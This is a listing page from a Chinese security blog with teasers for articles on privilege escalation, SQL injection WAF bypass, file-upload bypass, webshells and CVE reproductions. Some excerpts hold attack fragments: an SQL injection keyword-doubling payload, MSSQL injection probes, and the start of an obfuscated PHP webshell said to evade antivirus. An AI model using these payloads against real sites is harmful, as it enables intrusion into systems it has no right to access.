文章
文章圈子好物优选
全部标签

网络安全

最新随机最多浏览最多喜欢最多评论
  • 提权方式汇总

    提权方式汇总

    Windows： 1、wmic查找系统信息，特别是补丁，然后寻找exp。（这里要收集尽可能多的可反弹shell的exp） 2、mimikatz、fgdump工具查找管理员密码 3、查找敏感文件，域环境下肯定会有一些定时文件，看是否存在用户名和密码 4、dll劫持，具体方法自行Google 5、注册表修改 Linux： 1、内核提权（脏牛） 2、suid提权 3、环境变量劫持提权 4、看有没有定时脚…
    网络安全
    • 1
    • 7
    • 449
    桃知X桃知X
  • CVE-2020-0796远程代码执行复现

    CVE-2020-0796远程代码执行复现

    https://src.cert.ac.cn/?p=952
    网络安全
    • 0
    • 2
    • 1.1k
    桃知X桃知X
  • 挖洞技巧-扩展攻击面

    挖洞技巧-扩展攻击面

    0x00 前言 在挖洞过程中，我们经常忽略一些攻击面，但是这些被忽略的攻击面很大概率就是存在漏洞的。因为比较明显的攻击面被大多数人来回测试了几次，因此我们需要寻找一些很少人挖的地方进行挖掘。 0x01 更多的资产 可以通过空间引擎搜索一些特殊的cookie以及header头来发现目标更多资产（也以此搜索到同类的网站确认使用什么系统）。 可以通过改变user-agent、host、甚至通过来源ip（…
    网络安全
    • 1
    • 1
    • 71
    桃知X桃知X
  • SQL注入WAF绕过姿势

    SQL注入WAF绕过姿势

    （1）大小写绕过 此类绕过不经常使用，但是用的时候也不能忘了它，他原理是基于SQL语句不分大小写的，但过滤只过滤其中一种。  （2）替换关键字这种情况下大小写转化无法绕过而且正则表达式会替换或删除select、union这些关键字如果只匹配一次就很容易绕过 http://www.xx.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4…
    网络安全
    • 0
    • 1
    • 613
    桃知X桃知X
  • XiaoCms 验证码逻辑漏洞

    XiaoCms 验证码逻辑漏洞

    今天在CNVD上面看到了个验证码逻辑漏洞，这种逻辑漏洞遇到过很多次，但一直没有从源代码分析成因，这次正好看看。
    代码审计
    • 0
    • 1
    • 2k
    桃知X桃知X
  • 小迪网络安全web渗透测试培训视频课程

    小迪网络安全web渗透测试培训视频课程

    现在，随着企业信息化建设的开展，越来越多的重要数据会以电子媒介的形式存放，这在方便企业办公的同时，也造成了极大的安全隐患。近年来，随着APT攻击的蔓延，使得越来越多的企业遭受不可挽回的重大损失。 在目的明确、装备精良、经验丰富的“雇佣军”式的攻击者面前，传统的安全设备已显得力不从心，企业需要做的是定期开展专业的渗透测试，来降低风险，加固安全。 那么，什么是渗透测试？ 渗透测试，是渗透测试工程师完全…
    网络安全
    • 0
    • 1
    • 335
    桃知X桃知X
  • 大马、小马和一句话木马的关系详解

    大马、小马和一句话木马的关系详解

    webshell的含义 WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境，也可以将其称做为一种网页后门。黑客在入侵了一个网站后，通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起，然后就可以使用浏览器来访问asp或者php后门，得到一个命令执行环境，以达到控制网站服务器的目的。 webshell的分类 webshell根据脚本可以…
    网络安全
    • 0
    • 1
    • 6.5k
    桃知X桃知X
  • Getshell | 文件上传绕过整理

    Getshell | 文件上传绕过整理

    https://src.cert.ac.cn/?p=423
    网络安全
    • 0
    • 0
    • 924
    桃知X桃知X
  • 网页解密®如何破解所谓的“网页源代码加密”？

    网页解密®如何破解所谓的“网页源代码加密”？

    1、网页解密：如何破解所谓的“网页源代码加密”？ 在线加密解密网站。 2、网页解密：如何对网页进行加密 然后你模仿一个这样的网站，检查用户是否登录，如
    网络安全
    • 0
    • 0
    • 679
    =快结束拍nz。=快结束拍nz。
  • CVE-2012-0053详解

    CVE-2012-0053详解

    https://src.cert.ac.cn/?p=107
    0day漏洞
    • 0
    • 0
    • 565
    桃知X桃知X
  • 0基础渗透测试入门-Web安全专业术语

    0基础渗透测试入门-Web安全专业术语

    https://src.cert.ac.cn/?p=829
    网络安全
    • 0
    • 0
    • 359
    桃知X桃知X
  • 黑客网®黑客入门需要学那些知识

    黑客网®黑客入门需要学那些知识

    黑客的心态很重要，但技术更重要。虽然黑客的态度是不可替代的，但随着新技术的发明和旧技术的更新换代，这些工具随着时间的推移慢慢发生了变化。
    网络安全
    • 0
    • 0
    • 151
    =快结束拍nz。=快结束拍nz。
  • 【复现】Mysql任意读取客户端文件

    【复现】Mysql任意读取客户端文件

    https://src.cert.ac.cn/?p=127
    网络安全
    • 0
    • 0
    • 852
    桃知X桃知X
  • 微擎 CMS：从 SQL 到 RCE

    微擎 CMS：从 SQL 到 RCE

    x01 写在前面 微擎 CMS 在 2.0 版本的时候悄咪咪修复了一处 SQL 注入漏洞： 该处的注入漏洞网上没有出现过分析文章，因此本文就来分析一下该处 SQL 注入的利用。 0x02 影响版本 经过测试发现，官网在 GitLee 上，在 v1.5.2 5 存在此漏洞，在 2.0 2 版本修复 3了该漏洞，因此目测至少影响到 …
    代码审计
    • 0
    • 0
    • 297
    桃知X桃知X
  • 最新Webshell免杀PHP一句话变种

    最新Webshell免杀PHP一句话变种

    前言 最新免杀php变种一句话，亲测过啊D，不知道什么时候加入特征库报毒，反正现在能用吧。 class VMTX{ function __destruct(){ $BRLI='f$vjcT'^"\x7\x57\x5\xf\x11\x20"; return @$BRLI("$this->EKDL"); } } $vmtx=new VM…
    代码审计
    • 0
    • 0
    • 2.5k
    桃知X桃知X
  • 手工注入mssqlserver从基础到高级操作

    手工注入mssqlserver从基础到高级操作

    手工注mssqlserver 1.判断注入点： ' and 1=1 返回正常 and 1=2 返回错误 2.判断版本号：nt5.2:win2003 nt6.1:win7 winver and @@version>0 3.判断当前连接的数据库用户and user >0 4.判断当前连接数据库: and db_name()>0 5.判断其它库：修改dbid值 and (se…
    网络安全
    • 0
    • 0
    • 794
    桃知X桃知X
  • 黑客在线®黑客帝国在线游戏介绍

    黑客在线®黑客帝国在线游戏介绍

    1、黑客在线：黑客帝国网络游戏简介 《黑客帝国》以其精彩的动作场面和极其独特的风格而备受赞誉。但其中一些奇怪的比喻和莫名其妙的哲学讨论经常受到批评。无
    网络安全
    • 0
    • 0
    • 131
    =快结束拍nz。=快结束拍nz。
  • CVE-2019-2234漏洞分析

    CVE-2019-2234漏洞分析

    https://src.cert.ac.cn/?p=109
    0day漏洞
    • 0
    • 0
    • 1k
    桃知X桃知X
  • 门神WAF众测总结

    门神WAF众测总结

        一. 数据在过去的一个月中，我们支持 TSRC 举行了一次 门神WAF众测 活动，来让大家帮助我们打造更强大的 WAF 智能引擎。得益于各位白帽子安全专家对本次活动的大力支持，截至活动结束，我们一共收到了来自 3829 多个 IP 的接近 7000多万次的请求。收到了绕过报告232 个，去除无效和重复的报告后，一共累计确认了 59 个报告，并且给予了活动奖励。 对于外部安全专家帮助我们发现…
    代码审计
    • 0
    • 0
    • 696
    桃知X桃知X
  • ddos攻击软件®现在有什么好的DDOS软件？

    ddos攻击软件®现在有什么好的DDOS软件？

    1、 DDoS攻击软件：现在有什么好的DDOS软件？ 以现有的技术条件，没有肉鸡，在不知道CNN技术漏洞的情况下，几乎没有办法发动DDoS。目前还没有
    网络安全
    • 0
    • 0
    • 316
    =快结束拍nz。=快结束拍nz。
  • 渗透测试各种扫描工具集合

    渗透测试各种扫描工具集合

    集合github平台上的安全行业从业者自研开源扫描器的仓库，包括子域名枚举，数据库漏洞扫描，弱口令或信息泄漏扫描，端口扫描，指纹识别以及其他大型扫描器或模块化扫描器。项目地址：https://github.com/We5ter/Scanners-Box 子域名枚举扫描器或爆破工具 https://github.com/lijiejie/subDomainsBrute(lijiejie开发的一款使用…
    网络安全
    • 0
    • 0
    • 1.4k
    桃知X桃知X
  • phpstudy后门分析

    phpstudy后门分析

    _xmlrpc.dll中的问题,看到zend_eval_string是自定义函数sub_100031F0 跟到sub_100031F0函数去看,发起的HTTP数据包中包含“Accept-Encoding“字段，就走到攻击者的流程中去了 再往下走,就走到当Accept-Encoding信息为“compress,gzip”时，他就往左走,当Accept-charset字段出现就走右边 我们先看走左边的…
    代码审计
    • 0
    • 0
    • 1.3k
    桃知X桃知X
  • 上传绕过-user.ini的利用

    上传绕过-user.ini的利用

    在前段时间SUCTF 2019的比赛中做了一道名为CheckIn的文件上传题，学到了一种新的利用姿势——.user.ini。 原题的链接已经失效了，但SU的师傅们把题目源码贴在GitHub上了（感谢师傅们！！），如果想尝试的话可以下载源码复现，在这里放一下地址： https://github.com/team-su/SUCTF-2019 CheckIn题目分析 首先我们来看一下题目，首页就是一个简…
    网络安全
    • 0
    • 0
    • 1.3k
    桃知X桃知X
  • 黑客入门®如何学习黑客技术

    黑客入门®如何学习黑客技术

    1、黑客入门：如何学习黑客入门 黑客入门书。 2、黑客入门：如何成为黑客的基本介绍 “黑客”一词通常用来指代那些恶意的安全破坏者。 “黑客”一词的经典
    网络安全
    • 0
    • 0
    • 751
    =快结束拍nz。=快结束拍nz。
❯

解锁会员权限

开通会员

解锁海量优质VIP资源

立刻开通
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索
客服

  • 扫码打开当前页

返回顶部